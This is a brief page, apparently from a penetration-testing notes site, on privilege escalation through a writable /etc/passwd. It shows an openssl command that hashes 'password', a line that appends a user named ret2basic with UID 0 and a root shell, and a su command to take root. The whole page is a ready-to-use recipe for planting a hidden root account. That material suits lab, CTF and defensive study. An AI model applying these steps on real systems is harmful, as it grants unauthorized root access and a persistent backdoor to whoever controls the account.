Create the hash of the string "password":
$ openssl passwd password 1MXLZ7HqN6kT2
Add the following entry to /etc/passwd:
/etc/passwd
ret2basic:1MXLZ7HqN6kT2:0:0:root:/root:/bin/bash
Switch to that new user:
su ret2basic
This user has root privilege.
Last updated 3 years ago